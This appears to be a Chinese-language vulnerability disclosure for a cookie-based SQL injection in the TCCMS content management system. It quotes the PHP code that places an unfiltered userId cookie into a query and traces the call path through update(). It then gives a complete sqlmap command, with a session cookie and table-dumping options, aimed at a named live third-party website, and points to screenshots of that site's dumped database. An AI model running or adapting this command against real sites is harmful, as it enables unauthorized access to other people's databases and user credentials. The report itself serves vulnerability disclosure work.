### 简要描述: TCCMS teamcen.com Cookie Injection 具体请见详细说明 证明处使用SQLMAP注射成功 ### 详细说明: /public/Class/Authen.class.php 省略无关代码 请注意添加注释处代码,下同 ``` public static function checkUserLogin() { $_Obj = M("user"); if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;} //下面的语句直接使用$_COOKIE['userId']没有过滤 $sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId']; //不考虑之后的代码,如果没有其他限制至少可以盲注 $info = $_Obj->query($sql); if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) { return true; } return false; } //下面函数与之后提到的攻击向量有关 public static function checkIsSelfData($uid) { if (self::isAdmin()) {return true;} if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;} return false; } ``` 那么我们要定位漏洞代码的触发位置 /core/controller/user.class.php 攻击向量: update()-------------》Authen::checkIsSelfData-------》checkUserLogin() 缺陷参数:userID ``` public function update() { …………省略无关代码………… //禁止修改别人的 $IsSelfData =...
### 简要描述: TCCMS teamcen.com Cookie Injection 具体请见详细说明 证明处使用SQLMAP注射成功 ### 详细说明: /public/Class/Authen.class.php 省略无关代码 请注意添加注释处代码,下同 ``` public static function checkUserLogin() { $_Obj = M("user"); if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;} //下面的语句直接使用$_COOKIE['userId']没有过滤 $sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId']; //不考虑之后的代码,如果没有其他限制至少可以盲注 $info = $_Obj->query($sql); if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) { return true; } return false; } //下面函数与之后提到的攻击向量有关 public static function checkIsSelfData($uid) { if (self::isAdmin()) {return true;} if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;} return false; } ``` 那么我们要定位漏洞代码的触发位置 /core/controller/user.class.php 攻击向量: update()-------------》Authen::checkIsSelfData-------》checkUserLogin() 缺陷参数:userID ``` public function update() { …………省略无关代码………… //禁止修改别人的 $IsSelfData = Authen::checkIsSelfData($_Obj->id); if (!$IsSelfData) { $this->setValue("error", Config::lang("NOTRIGHT")); $this->forward("error.html"); exit; } $_Obj->update(); StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1); } ``` 即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射 下面是利用SQLMAP的证明 ### 漏洞证明: 演示的站点为 lszq.xinwen110.cn 理事会员-中国社会新闻网理事会员-中国社会新闻网 - Power By TCCMS 本机测试时的命令 ``` C:\Users\Administrator.PC-20110802HBAF>sqlmap.py -u "lszq.xinwen110.cn/index.php ?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov 3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --d bms=mysql ``` [<img src="https://images.seebug.org/upload/201310/271658548cdaf2227f01ad60f09dc18db6134bfa.jpg" alt="tccms_1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/271658548cdaf2227f01ad60f09dc18db6134bfa.jpg) 跑了下数据库,证明即可 [<img src="https://images.seebug.org/upload/201310/27165920e87fd7e342b5fef8b2a8fc6be6052ff2.jpg" alt="tccms_2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/27165920e87fd7e342b5fef8b2a8fc6be6052ff2.jpg) 注意,请在复现漏洞时将COOKIE换为对应的有效COOKIE(可以注册一个)